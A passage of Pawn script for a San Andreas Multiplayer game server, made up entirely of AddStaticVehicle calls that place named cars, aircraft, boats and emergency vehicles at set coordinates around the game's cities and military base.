    AddStaticVehicle(562,2486.61230000,1409.28510000,10.51640000,0.28970000,116,1); //Elegy
    AddStaticVehicle(471,2488.60440000,1534.71480000,10.65270000,226.74290000,2,2); //Quad
    AddStaticVehicle(559,2476.22940000,1658.06490000,10.47650000,1.34500000,68,86); //Jester
    AddStaticVehicle(521,2395.81780000,1629.53610000,10.38720000,181.84980000,115,118); //FCR-900
    AddStaticVehicle(411,2599.73360000,1703.81070000,10.54740000,270.98360000,123,1); //Infernus
    AddStaticVehicle(506,2591.42430000,1859.50570000,10.64920000,89.61500000,58,1); //Super GT
    AddStaticVehicle(560,2453.91790000,1991.63460000,10.52600000,358.85080000,17,1); //Sultan
    AddStaticVehicle(402,2609.73920000,2262.87570000,10.65140000,271.49500000,22,22); //Buffalo
    AddStaticVehicle(429,2565.45700000,2275.31070000,10.49960000,88.14930000,10,10); //Banshee
    AddStaticVehicle(506,2531.50530000,2501.47190000,10.52440000,271.60990000,7,7); //Super GT
    AddStaticVehicle(443,2523.89640000,2816.16130000,11.42310000,178.96780000,4,1); //Packer
    AddStaticVehicle(541,2347.46870000,2747.79410000,10.44480000,89.46410000,2,1); //Bullet
    AddStaticVehicle(558,2167.40940000,2724.28360000,10.45120000,269.01360000,94,1); //Uranus
    AddStaticVehicle(565,2028.08480000,2730.93400000,10.44680000,272.90170000,7,7); //Flash
    AddStaticVehicle(562,1888.29410000,2616.39740000,10.47990000,182.01040000,113,1); //Elegy
    AddStaticVehicle(559,1592.02910000,2745.08030000,10.47620000,179.09970000,2,1); //Jester
    AddStaticVehicle(411,1639.92660000,2577.47020000,10.55440000,179.87770000,116,1); //Infernus
    AddStaticVehicle(451,1494.06810000,2540.29610000,10.52720000,89.17660000,125,125); //Turismo
    AddStaticVehicle(541,1433.53410000,2608.13640000,10.29660000,88.67830000,3,79); //Bullet
    AddStaticVehicle(471,1464.85800000,2773.07440000,10.64410000,179.79760000,6,6); //Quad
    AddStaticVehicle(429,1282.99750000,2571.39060000,10.49970000,271.03900000,12,12); //Banshee
    AddStaticVehicle(506,1264.58120000,2695.90180000,10.52430000,1.93880000,52,52); //Super GT
    AddStaticVehicle(506,1135.63300000,2268.34930000,16.55730000,271.84460000,69,1); //Super GT
    AddStaticVehicle(559,991.92540000,2350.88810000,10.92570000,270.61240000,53,86); //Jester
    AddStaticVehicle(522,994.24240000,1885.42710000,10.64780000,272.41330000,3,3); //NRG-500
    AddStaticVehicle(443,1047.87240000,2167.33320000,11.47550000,174.64750000,20,1); //Packer
    AddStaticVehicle(541,1106.51280000,1935.47790000,10.44540000,91.05090000,22,1); //Bullet
    AddStaticVehicle(562,1030.15080000,1216.04230000,10.47990000,232.54080000,101,1); //Elegy
    AddStaticVehicle(521,1470.90710000,1057.43320000,10.37110000,91.44830000,17,118); //FCR-900
    AddStaticVehicle(443,1395.76220000,1116.00890000,11.36560000,3.83500000,17,1); //Packer
    AddStaticVehicle(515,1547.43310000,1022.80430000,11.84580000,267.59240000,54,77); //Roadtrain
    AddStaticVehicle(406,1747.05430000,1056.77030000,12.25990000,267.47040000,1,1); //Dumper
    AddStaticVehicle(443,1713.37460000,924.71030000,11.28750000,61.54150000,17,1); //Packer
    AddStaticVehicle(558,1413.78660000,704.77140000,10.44990000,269.77920000,40,1); //Uranus
    AddStaticVehicle(506,1682.34570000,1286.93590000,10.52440000,178.15960000,76,76); //Super GT
    AddStaticVehicle(429,1730.41070000,1815.23320000,10.49940000,272.40820000,3,101); //Banshee
    AddStaticVehicle(521,1612.40750000,2199.17260000,10.37060000,267.11870000,94,-1); //FCR-900
    AddStaticVehicle(402,1542.14680000,2132.14890000,11.10850000,89.67380000,30,30); //Buffalo
    AddStaticVehicle(560,1548.07750000,2338.79460000,10.52700000,0.30280000,21,1); //Sultan
    AddStaticVehicle(515,1636.46690000,2331.99700000,11.83750000,270.95720000,39,78); //Roadtrain
    AddStaticVehicle(443,1901.08360000,2308.03170000,11.38880000,177.19400000,94,1); //Packer
    AddStaticVehicle(411,1583.40630000,1964.75430000,10.54310000,358.49890000,112,1); //Infernus
    AddStaticVehicle(558,1373.59390000,1903.88720000,10.78110000,272.87580000,112,1); //Uranus
    AddStaticVehicle(429,1117.65450000,2070.06760000,10.50000000,181.50070000,16,86); //Banshee
    AddStaticVehicle(541,1340.98690000,2242.97970000,10.44530000,92.46570000,94,101); //Bullet
    AddStaticVehicle(560,1731.38400000,1945.54430000,10.51990000,88.76140000,93,-1); //Sultan
    AddStaticVehicle(506,1691.12060000,2202.57370000,10.52500000,179.40670000,3,3); //Super GT
    AddStaticVehicle(506,2223.84270000,1285.51920000,10.51020000,178.65400000,75,77); //Super GT
    AddStaticVehicle(562,2460.46060000,925.24120000,10.48040000,267.72390000,92,1); //Elegy
    AddStaticVehicle(402,2270.46750000,2229.24680000,10.58250000,270.12960000,39,39); //Buffalo
    AddStaticVehicle(521,1166.27560000,1213.95610000,10.39070000,225.63810000,118,118); //FCR-900
    AddStaticVehicle(522,2142.47580000,1009.43590000,10.39350000,87.61440000,6,25); //NRG-500
    AddStaticVehicle(446,2354.76780000,518.74460000,-0.74280000,266.46420000,3,3); //Squalo
    AddStaticVehicle(446,2946.60200000,469.00290000,-0.37010000,8.45340000,-1,-1); //Squalo
    AddStaticVehicle(446,2933.69380000,509.96990000,0.00540000,218.19410000,1,5); //Squalo
    AddStaticVehicle(409,2129.16060000,2356.88570000,10.47150000,90.35630000,1,1); //Stretch
    AddStaticVehicle(409,2034.45280000,1919.57950000,11.97770000,178.16940000,1,1); //Stretch
    AddStaticVehicle(409,2176.00090000,1675.69700000,10.62010000,357.85540000,1,1); //Stretch
    AddStaticVehicle(409,2039.02450000,1008.03470000,10.47070000,177.64770000,1,1); //Stretch
    AddStaticVehicle(409,2423.41280000,1124.92940000,10.47370000,181.16940000,1,1); //Stretch
    AddStaticVehicle(522,1942.32400000,2201.16500000,10.39070000,271.07910000,51,118); //NRG-500
    AddStaticVehicle(522,2090.26000000,1354.04960000,10.39610000,266.87820000,3,3); //NRG-500
    AddStaticVehicle(560,2246.91080000,2050.56710000,10.52460000,91.08640000,-1,-1); //Sultan
    AddStaticVehicle(560,2235.10570000,2043.08490000,10.52570000,91.49890000,-1,-1); //Sultan
    AddStaticVehicle(490,2247.41500000,2038.64790000,10.94890000,268.18530000,-1,-1); //FBI Rancher
    AddStaticVehicle(409,2552.76950000,1028.05310000,10.62030000,178.40370000,126,126); //Stretch
    AddStaticVehicle(409,2511.81150000,2132.75800000,10.47200000,269.65020000,126,126); //Stretch
    AddStaticVehicle(504,1078.86450000,1727.53410000,10.61200000,357.58380000,51,39); //Bloodring Banger
    AddStaticVehicle(494,1093.60410000,1727.53970000,10.71590000,358.46850000,42,30); //Hotring
    AddStaticVehicle(556,1060.08090000,1726.88750000,11.16880000,357.91840000,114,108); //Monster A
    AddStaticVehicle(406,1040.84100000,1729.29690000,11.47010000,358.81380000,79,7); //Dumper
    AddStaticVehicle(423,2285.93230000,591.91660000,7.80240000,91.46200000,1,15); //Mr Whoopee
    AddStaticVehicle(423,2277.61620000,581.49150000,7.80200000,353.24740000,1,25); //Mr Whoopee
    AddStaticVehicle(525,1110.52230000,1795.17630000,10.70630000,89.50380000,1,1); //Tow Truck
    AddStaticVehicle(525,1110.43570000,1789.83410000,10.68640000,89.04390000,17,20); //Tow Truck
    AddStaticVehicle(525,1110.47580000,1784.57440000,10.69690000,90.50180000,18,20); //Tow Truck
    AddStaticVehicle(490,2765.80680000,1271.54800000,10.80160000,270.95440000,42,20); //FBI Rancher
    AddStaticVehicle(490,2778.35080000,1295.02290000,10.80230000,179.40060000,42,20); //FBI Rancher
    AddStaticVehicle(487,2801.68790000,1278.13330000,11.04670000,38.29690000,2,29); //Maverick
    AddStaticVehicle(431,1503.05840000,2199.63370000,10.91980000,180.46530000,46,74); //Bus
    AddStaticVehicle(431,1496.37790000,2200.51530000,10.91970000,181.04870000,79,7); //Bus
    AddStaticVehicle(451,2352.53750000,1459.02450000,42.52110000,90.47670000,18,18); //Turismo
    AddStaticVehicle(451,2302.28340000,1433.57000000,42.52670000,269.53940000,46,46); //Turismo
    AddStaticVehicle(451,2302.70750000,1472.79690000,42.52650000,90.26240000,61,61); //Turismo
    AddStaticVehicle(519,1329.74980000,1602.58380000,11.74230000,268.51030000,1,1); //Shamal
    AddStaticVehicle(519,1569.26960000,1473.50040000,12.94690000,63.18360000,1,1); //Shamal
    AddStaticVehicle(519,1574.89500000,1423.16110000,11.79510000,105.37550000,1,1); //Shamal
    AddStaticVehicle(513,1553.88520000,1629.00870000,11.37040000,137.91670000,54,34); //Stunt
    AddStaticVehicle(513,1570.13330000,1543.86710000,11.37020000,89.94780000,55,20); //Stunt
    AddStaticVehicle(487,1615.52020000,1546.30040000,11.11620000,16.00070000,106,6); //Maverick
    AddStaticVehicle(487,1636.59580000,1553.73360000,10.93340000,0.21670000,118,42); //Maverick
    AddStaticVehicle(513,1303.86590000,1322.09100000,12.18920000,268.46820000,12,60); //Stunt
    AddStaticVehicle(513,1305.02280000,1361.51620000,12.19400000,267.95650000,117,97); //Stunt
    AddStaticVehicle(560,1325.56610000,1279.78820000,10.63360000,0.00830000,91,1); //Sultan
    AddStaticVehicle(485,1316.06930000,1278.42220000,10.47480000,0.51600000,1,75); //Baggage
    AddStaticVehicle(485,1704.64860000,1620.31500000,10.02910000,141.02310000,1,75); //Baggage
    AddStaticVehicle(485,1709.80820000,1585.57720000,10.20680000,79.33240000,1,75); //Baggage
    AddStaticVehicle(560,1711.02450000,1591.79650000,10.15430000,73.61170000,7,7); //Sultan
    AddStaticVehicle(519,1346.96830000,1489.73550000,12.17850000,273.04480000,71,87); //Shamal
    AddStaticVehicle(592,1587.30710000,1192.59240000,10.71900000,175.58470000,86,10); //Andromada
    AddStaticVehicle(561,1881.63650000,960.21470000,10.69530000,269.14300000,75,1); //Stratum
    AddStaticVehicle(561,1890.28640000,948.14810000,10.69500000,2.38730000,91,1); //Stratum
    AddStaticVehicle(561,1918.39420000,949.75450000,10.68760000,0.17030000,123,1); //Stratum
    AddStaticVehicle(560,2173.59370000,1697.41440000,10.69530000,62.66220000,46,47); //Sultan
    AddStaticVehicle(560,2165.64370000,1701.52010000,10.69530000,63.53590000,42,35); //Sultan
    AddStaticVehicle(560,2157.71800000,1705.55260000,10.69500000,61.23160000,37,37); //Sultan
    AddStaticVehicle(407,1763.38180000,2076.83490000,11.05450000,182.59660000,3,1); //Firetruck
    AddStaticVehicle(407,1750.83590000,2075.95870000,11.05600000,178.95930000,3,1); //Firetruck
    AddStaticVehicle(420,2179.69500000,1810.84480000,10.59990000,358.78430000,6,1); //Taxi
    AddStaticVehicle(420,2188.63180000,1821.80290000,10.59880000,358.36800000,6,1); //Taxi
    AddStaticVehicle(420,2195.30020000,1810.35480000,10.59660000,181.34890000,6,1); //Taxi
    AddStaticVehicle(515,2216.91910000,1865.17850000,11.84810000,140.97770000,62,78); //Roadtrain
    AddStaticVehicle(435,2230.50870000,1873.96320000,11.83430000,129.50950000,54,77); //Trailer 1
    AddStaticVehicle(515,968.94010000,2146.40180000,11.83440000,178.73530000,53,76); //Roadtrain
    AddStaticVehicle(515,993.99260000,2148.44010000,11.84320000,179.14340000,17,77); //Roadtrain
    AddStaticVehicle(515,978.81620000,2145.91180000,11.82780000,179.37910000,62,78); //Roadtrain
    AddStaticVehicle(435,994.70660000,2169.64420000,11.83880000,179.34590000,42,76); //Trailer 1
    AddStaticVehicle(435,969.78960000,2172.11540000,11.83580000,179.93310000,42,76); //Trailer 1
    AddStaticVehicle(435,976.23490000,2174.24460000,11.84100000,177.28950000,42,76); //Trailer 1
    AddStaticVehicle(408,1447.55100000,974.74350000,11.34920000,358.80680000,106,26); //Trashmaster
    AddStaticVehicle(408,1437.56550000,974.95120000,11.34910000,358.80680000,106,26); //Trashmaster
    AddStaticVehicle(598,2256.45040000,2459.67260000,10.53960000,3.38030000,-1,1); //Police Car (LVPD)
    AddStaticVehicle(598,2269.45040000,2459.73750000,10.56770000,177.90220000,-1,1); //Police Car (LVPD)
    AddStaticVehicle(598,2269.04980000,2443.45450000,10.55490000,3.36890000,-1,1); //Police Car (LVPD)
    AddStaticVehicle(598,2290.77270000,2477.21240000,10.54330000,180.44540000,-1,1); //Police Car (LVPD)
    AddStaticVehicle(523,2251.70230000,2476.86370000,10.40760000,357.38360000,-1,-1); //HPV1000
    AddStaticVehicle(427,2297.99680000,2460.28360000,3.38030000,269.98610000,-1,1); //Enforcer
    AddStaticVehicle(427,2298.53850000,2451.97360000,3.40540000,269.60590000,-1,1); //Enforcer
    AddStaticVehicle(490,2281.41790000,2474.04630000,3.41680000,183.41540000,-1,-1); //FBI Rancher
    AddStaticVehicle(490,2267.98800000,2474.75870000,3.42170000,358.96140000,-1,-1); //FBI Rancher
    AddStaticVehicle(411,2240.10740000,2476.06050000,3.04320000,90.70420000,-1,-1); //Infernus
    AddStaticVehicle(411,2239.80590000,2442.47070000,2.99390000,89.30800000,-1,-1); //Infernus
    AddStaticVehicle(451,2315.12130000,2469.55880000,2.97930000,91.16350000,-1,-1); //Turismo
    AddStaticVehicle(497,2263.71870000,2387.63670000,19.83480000,0.00380000,-1,1); //Police Maverick
    AddStaticVehicle(497,2245.26140000,2387.63670000,19.73200000,0.00380000,-1,1); //Police Maverick
    AddStaticVehicle(523,2278.12890000,2418.04120000,10.24130000,88.60610000,-1,1); //HPV1000
    AddStaticVehicle(598,2284.74600000,2417.94160000,10.51560000,91.14730000,16,1); //Police Car (LVPD)
    AddStaticVehicle(427,2311.93430000,2444.51290000,10.95200000,139.55020000,16,1); //Enforcer
    AddStaticVehicle(606,1707.87850000,1663.64950000,10.62880000,189.83360000,-1,-1); //Luggage Trailer A
    AddStaticVehicle(606,1708.78320000,1658.43130000,10.47080000,189.83360000,-1,-1); //Luggage Trailer A
    AddStaticVehicle(606,1709.73770000,1652.92520000,10.30430000,189.83360000,-1,-1); //Luggage Trailer A
    AddStaticVehicle(606,1710.93780000,1646.00020000,10.09460000,189.83360000,-1,-1); //Luggage Trailer A
    AddStaticVehicle(606,1713.17650000,1633.08490000,9.70380000,189.83360000,-1,-1); //Luggage Trailer A
    AddStaticVehicle(538,2864.75000000,1255.68720000,12.34940000,180.00000000,1,1); //Streak
    AddStaticVehicle(423,2220.64030000,1455.76360000,3864.17280000,87.54930000,1,1); //Mr Whoopee
    AddStaticVehicle(407,2219.66890000,1481.81380000,3864.52970000,90.11620000,3,1); //Firetruck
    AddStaticVehicle(406,2208.54150000,1459.33450000,3865.79510000,55.94900000,1,1); //Dumper
    AddStaticVehicle(539,2209.07490000,1482.35990000,3863.61320000,94.61190000,79,74); //Vortex
    AddStaticVehicle(451,2235.89450000,1470.98520000,3864.02360000,94.55910000,16,16); //Turismo
    AddStaticVehicle(411,2236.36810000,1465.82580000,3864.03390000,91.50260000,116,1); //Infernus
    AddStaticVehicle(541,2235.57440000,1474.43550000,3863.95920000,96.97100000,22,22); //Bullet
    AddStaticVehicle(402,2232.48990000,1478.38300000,3864.15670000,92.57570000,88,90); //Buffalo
    AddStaticVehicle(402,2234.19750000,1461.44890000,3864.07610000,91.62310000,17,1); //Buffalo
    AddStaticVehicle(494,2197.42770000,1464.50750000,3864.32250000,9.53700000,42,33); //Hotring
    AddStaticVehicle(471,1624.83410000,1818.53430000,10.30090000,354.23050000,103,111); //Quad
    AddStaticVehicle(423,1590.96750000,1822.66910000,10.84170000,272.73980000,1,1); //Mr Whoopee
    AddStaticVehicle(510,1621.80670000,1819.02890000,10.42660000,2.51860000,43,43); //Mountain Bike
    AddStaticVehicle(463,1616.97650000,1832.60050000,10.36010000,1.08290000,79,79); //Freeway
    AddStaticVehicle(471,1606.41690000,1832.64500000,10.59980000,181.76710000,3,6); //Quad
    AddStaticVehicle(558,1597.91290000,1831.91180000,10.61640000,359.22650000,62,62); //Uranus
    AddStaticVehicle(443,1708.73180000,1491.16670000,11.35490000,338.72210000,43,-1); //Packer
    AddStaticVehicle(471,1709.83760000,1493.02390000,13.46520000,338.62930000,94,2); //Quad
    AddStaticVehicle(471,1706.82940000,1485.35100000,11.23020000,338.58570000,94,2); //Quad
    AddStaticVehicle(556,1676.20590000,1425.88250000,11.15290000,295.36770000,1,1); //Monster A
    AddStaticVehicle(525,1704.93260000,1432.13310000,10.55240000,173.93710000,94,43); //Tow Truck
    AddStaticVehicle(471,1689.11900000,1438.78030000,10.24840000,277.44610000,103,111); //Quad
    AddStaticVehicle(510,1689.54130000,1460.02340000,10.37730000,269.83020000,28,28); //Mountain Bike
    AddStaticVehicle(510,1705.55950000,1439.47440000,10.49890000,175.29730000,55,84); //Mountain Bike
    AddStaticVehicle(596,1284.75476074,-1665.51977539,13.36687469,0.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1289.60937500,-1640.45898438,13.36687469,0.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1281.46093750,-1665.62500000,13.36687469,0.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(490,1261.61120605,-1671.77709961,13.86700153,0.00000000,-1,-1); //FBI Rancher
    AddStaticVehicle(601,1216.67810059,-1672.60192871,11.72708416,0.00000000,-1,-1); //S.W.A.T. Van
    AddStaticVehicle(601,1220.65539551,-1672.67309570,11.72708416,0.00000000,-1,-1); //S.W.A.T. Van
    AddStaticVehicle(601,1225.21606445,-1672.69348145,11.72708416,0.00000000,-1,-1); //S.W.A.T. Van
    AddStaticVehicle(490,1218.80932617,-1649.80969238,12.11700153,270.00000000,-1,-1); //FBI Rancher
    AddStaticVehicle(490,1218.75683594,-1640.92089844,12.11700153,90.00000000,-1,-1); //FBI Rancher
    AddStaticVehicle(490,1263.11743164,-1642.19055176,13.86700153,180.00000000,-1,-1); //FBI Rancher
    AddStaticVehicle(497,1237.33374023,-1650.94812012,12.06187534,0.00000000,-1,-1); //Police Maverick
    AddStaticVehicle(490,1218.77929688,-1645.23144531,12.11700153,90.00000000,-1,-1); //FBI Rancher
    AddStaticVehicle(489,864.17280000,-1366.99400000,13.20640000,269.66810000,-1,-1); //Rancher
    AddStaticVehicle(489,864.45920000,-1371.81380000,13.20610000,269.96390000,-1,-1); //Rancher
    AddStaticVehicle(489,851.33830000,-1373.07310000,13.41420000,216.34920000,-1,-1); //Rancher
    AddStaticVehicle(421,2445.50878906,-1399.56738281,23.77610016,180.02197266,125,81); //Washington
    AddStaticVehicle(566,2445.79394531,-1386.52539062,23.77840042,178.72009277,124,81); //Tahoma
    AddStaticVehicle(421,2458.12500000,-1395.22949219,23.82710075,150.73242188,125,81); //Washington
    AddStaticVehicle(534,2263.83080000,-1888.38880000,13.38410000,86.80280000,99,81); //Remington
    AddStaticVehicle(575,2249.89140000,-1907.04200000,13.40900000,180.61390000,99,81); //Broadway
    AddStaticVehicle(534,2273.07470000,-1907.43680000,13.41510000,359.88570000,99,81); //Remington
    AddStaticVehicle(560,2195.28490000,-2237.15890000,13.40750000,318.38440000,99,81); //Sultan
    AddStaticVehicle(560,2199.92260000,-2241.70480000,13.41670000,316.38020000,99,81); //Sultan
    AddStaticVehicle(560,2193.89180000,-2251.75370000,13.42160000,181.91870000,99,81); //Sultan
    AddStaticVehicle(560,2175.12820000,-2269.43480000,13.28200000,268.15310000,99,81); //Sultan
    AddStaticVehicle(535,2680.18457031,-1397.62402344,30.24869919,131.53381348,114,53); //Slamvan
    AddStaticVehicle(535,2660.46875000,-1399.48339844,30.02339935,83.91357422,83,19); //Slamvan
    AddStaticVehicle(412,2679.72753906,-1412.15332031,30.06310081,20.57739258,58,255); //Voodoo
    AddStaticVehicle(412,2682.53613281,-1423.72753906,30.07959938,5.24047852,20,255); //Voodoo
    AddStaticVehicle(535,2658.57128906,-1418.38867188,30.09079933,88.43994141,6,98); //Slamvan
    AddStaticVehicle(536,2507.65234375,-1678.46289062,13.39687538,325.69934082,7,36); //Blade
    AddStaticVehicle(567,2453.56567383,-1666.62048340,13.45408630,89.86145020,119,65); //Savanna
    AddStaticVehicle(576,2443.46459961,-1640.96911621,13.19776440,180.49157715,115,255); //Tornado
    AddStaticVehicle(596,1552.51550293,-1634.85034180,13.37603760,90.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1545.56640625,-1615.42773438,13.20281219,270.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1545.62890625,-1611.49218750,13.20281219,270.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1545.79772949,-1607.76538086,13.20281219,270.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1603.52807617,-1630.34130859,13.32342815,270.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1603.55786133,-1622.57531738,13.32374859,90.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1590.23461914,-1605.98730469,13.20281219,0.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1586.35424805,-1606.20751953,13.20281219,180.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1601.85705566,-1703.45935059,5.71062469,270.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1601.89648438,-1699.57519531,5.71062469,270.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1601.24047852,-1684.40173340,5.71062469,90.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1579.04174805,-1709.63928223,5.71062469,0.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1530.95642090,-1646.24060059,5.71062469,0.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1545.04589844,-1672.98632812,5.71062469,90.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1545.11523438,-1680.87890625,5.71062469,270.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1530.37915039,-1688.05529785,5.71062469,270.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1530.71191406,-1684.05859375,5.71062469,90.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(599,1558.35339355,-1709.11926270,6.27575159,0.00000000,-1,1); //Police Ranger
    AddStaticVehicle(599,1538.33789062,-1647.22558594,6.27575159,0.00000000,-1,1); //Police Ranger
    AddStaticVehicle(599,1570.09118652,-1709.06250000,6.27575159,180.00000000,-1,1); //Police Ranger
    AddStaticVehicle(599,1579.00000000,-1606.19995117,13.76793861,180.00000000,-1,1); //Police Ranger
    AddStaticVehicle(599,1582.66015625,-1606.19995117,13.76793861,180.00000000,-1,1); //Police Ranger
    AddStaticVehicle(596,1535.46875000,-1677.57836914,13.20281219,0.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(596,1535.51733398,-1667.31811523,13.20281219,0.00000000,-1,1); //Police Car (LSPD)
    AddStaticVehicle(523,1535.36071777,-1672.44702148,13.04319000,0.00000000,-1,-1); //HPV1000
    AddStaticVehicle(523,1603.48864746,-1613.57531738,13.16338253,270.00000000,-1,-1); //HPV1000
    AddStaticVehicle(523,1545.70703125,-1604.58398438,13.04319000,270.00000000,-1,-1); //HPV1000
    AddStaticVehicle(523,1601.10192871,-1687.55102539,5.55100250,90.00000000,-1,-1); //HPV1000
    AddStaticVehicle(523,1603.23437500,-1611.19042969,13.16065025,270.00000000,-1,-1); //HPV1000
    AddStaticVehicle(551,1348.11291504,-1665.89172363,13.47355270,90.00000000,-1,-1); //Merit
    AddStaticVehicle(551,1355.63183594,-1667.75097656,13.48868370,0.00000000,-1,-1); //Merit
    AddStaticVehicle(551,1348.25292969,-1669.65625000,13.47759342,90.00000000,-1,-1); //Merit
    AddStaticVehicle(551,1361.60241699,-1643.40490723,13.26281261,270.00000000,-1,-1); //Merit
    AddStaticVehicle(551,1361.39062500,-1658.86230469,13.26281261,90.00000000,-1,-1); //Merit
    AddStaticVehicle(551,1347.48632812,-1700.40344238,13.47639465,0.00000000,-1,-1); //Merit
    AddStaticVehicle(416,1183.64904785,-1316.19885254,13.87417221,180.00000000,3,1); //Ambulance
    AddStaticVehicle(416,1176.61523438,-1309.28417969,14.24257278,90.00000000,3,1); //Ambulance
    AddStaticVehicle(416,1177.96386719,-1338.21777344,14.20824814,270.00000000,3,1); //Ambulance
    AddStaticVehicle(416,1187.92199707,-1346.29956055,13.86617279,0.00000000,3,1); //Ambulance
    AddStaticVehicle(525,979.44110107,-1258.31726074,16.77727509,0.00000000,-1,-1); //Tow Truck
    AddStaticVehicle(525,972.79589844,-1258.22460938,16.79248428,0.00000000,-1,-1); //Tow Truck
    AddStaticVehicle(525,966.57543945,-1271.46606445,15.14438057,90.00000000,-1,-1); //Tow Truck
    AddStaticVehicle(437,2131.24731445,-1911.79858398,13.63281250,0.00000000,-1,-1); //Coach
    AddStaticVehicle(437,2104.80468750,-1910.65234375,13.63281250,180.00000000,-1,-1); //Coach
    AddStaticVehicle(437,2130.17456055,-1927.98364258,13.63281250,348.00000000,-1,-1); //Coach
    AddStaticVehicle(437,2121.47436523,-1936.90258789,13.63281250,283.99743652,-1,-1); //Coach
    AddStaticVehicle(420,2162.35156250,-1806.94335938,13.22248554,180.00000000,6,6); //Taxi
    AddStaticVehicle(420,2178.73120117,-1806.90405273,13.22244644,180.00000000,6,6); //Taxi
    AddStaticVehicle(420,2161.41308594,-1794.51391602,13.21123028,0.00000000,6,6); //Taxi
    AddStaticVehicle(420,2186.60449219,-1794.27539062,13.22014904,90.00000000,6,6); //Taxi
    AddStaticVehicle(438,2172.07421875,-1794.49169922,13.56032276,180.00000000,6,6); //Cabbie
    AddStaticVehicle(438,2166.86914062,-1806.72460938,13.57227135,0.00000000,6,6); //Cabbie
    AddStaticVehicle(438,2175.74536133,-1794.24755859,13.56008434,180.00000000,6,6); //Cabbie
    AddStaticVehicle(433,281.39999390,1980.73132324,18.21062469,0.00000000,-1,-1); //Barracks
    AddStaticVehicle(433,272.41699219,1980.73046875,18.21062469,0.00000000,-1,-1); //Barracks
    AddStaticVehicle(433,277.00000000,1980.73046875,18.21062469,0.00000000,-1,-1); //Barracks
    AddStaticVehicle(470,274.29727173,1967.41845703,17.75063705,270.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,274.29492188,2001.85546875,17.75063705,270.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,274.69641113,1963.70910645,17.75063705,270.00000000,-1,-1); //Patriot
    AddStaticVehicle(432,277.66442871,1955.92163086,17.73996162,270.00000000,-1,-1); //Rhino
    AddStaticVehicle(432,276.98242188,1949.54003906,17.73996162,270.00000000,-1,-1); //Rhino
    AddStaticVehicle(470,276.64303589,1945.07983398,17.75063705,270.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,274.91992188,1960.24218750,17.75063705,270.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,282.43066406,1787.71386719,17.75063705,270.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,282.47460938,1792.44140625,17.75063705,270.00000000,-1,-1); //Patriot
    AddStaticVehicle(520,314.61334229,2047.33190918,18.56019974,180.00000000,-1,-1); //Hydra
    AddStaticVehicle(425,340.29666138,1918.39184570,18.49162483,90.00000000,-1,-1); //Hunter
    AddStaticVehicle(520,301.49902344,2046.96289062,18.56019974,180.00000000,-1,-1); //Hydra
    AddStaticVehicle(520,278.69305420,2024.62121582,18.56019974,270.00000000,-1,-1); //Hydra
    AddStaticVehicle(408,1587.52124023,-1486.43627930,14.31809425,0.00000000,-1,-1); //Trashmaster
    AddStaticVehicle(408,1550.46484375,-1476.67675781,14.29845619,0.00000000,-1,-1); //Trashmaster
    AddStaticVehicle(408,1554.59375000,-1476.66992188,14.29744530,0.00000000,-1,-1); //Trashmaster
    AddStaticVehicle(574,1566.80053711,-1473.43920898,13.33839989,0.00000000,8,1); //Sweeper
    AddStaticVehicle(574,1572.87695312,-1474.00781250,13.33917809,90.00000000,8,1); //Sweeper
    AddStaticVehicle(574,1572.89855957,-1478.61584473,13.34700775,90.00000000,8,1); //Sweeper
    AddStaticVehicle(574,1564.66015625,-1473.37402344,13.33892059,0.00000000,8,1); //Sweeper
    AddStaticVehicle(408,1552.04187012,-1504.25610352,14.30468750,90.00000000,-1,-1); //Trashmaster
    AddStaticVehicle(492,2510.22778320,-1665.85424805,13.47302151,12.00000000,81,1); //Greenwood
    AddStaticVehicle(451,1628.83300781,-1905.25952148,24.81234550,18.00000000,-1,-1); //Turismo
    AddStaticVehicle(587,1626.28234863,-1897.90551758,24.92822075,19.99981689,-1,-1); //Euros
    AddStaticVehicle(541,1660.97961426,-1915.77832031,24.40401840,14.00000000,-1,-1); //Bullet
    AddStaticVehicle(522,1655.73962402,-1888.02294922,24.80451584,11.99707031,1,6); //NRG-500
    AddStaticVehicle(404,1671.15368652,-1896.98852539,13.37687492,0.00000000,-1,-1); //Perrenial
    AddStaticVehicle(561,1450.79406738,-1878.55505371,13.46308136,270.00000000,-1,-1); //Stratum
    AddStaticVehicle(585,1470.88854980,-1866.04382324,13.24380112,90.00000000,-1,-1); //Emperor
    AddStaticVehicle(529,1248.55151367,-2037.40234375,59.48976517,270.00000000,-1,-1); //Willard
    AddStaticVehicle(551,1276.62390137,-2041.17919922,58.91113663,0.00000000,-1,-1); //Merit
    AddStaticVehicle(562,1248.50244141,-2027.43652344,59.50685501,270.00000000,113,1); //Elegy
    AddStaticVehicle(487,1989.39440918,-2397.45751953,13.81187534,90.00000000,118,42); //Maverick
    AddStaticVehicle(485,1986.69958496,-2181.62866211,13.24687481,183.34680176,1,75); //Baggage
    AddStaticVehicle(526,1941.55456543,-2172.67651367,13.40420818,270.00000000,-1,-1); //Fortune
    AddStaticVehicle(519,1953.70605469,-2639.20996094,14.46860027,16.18286133,1,1); //Shamal
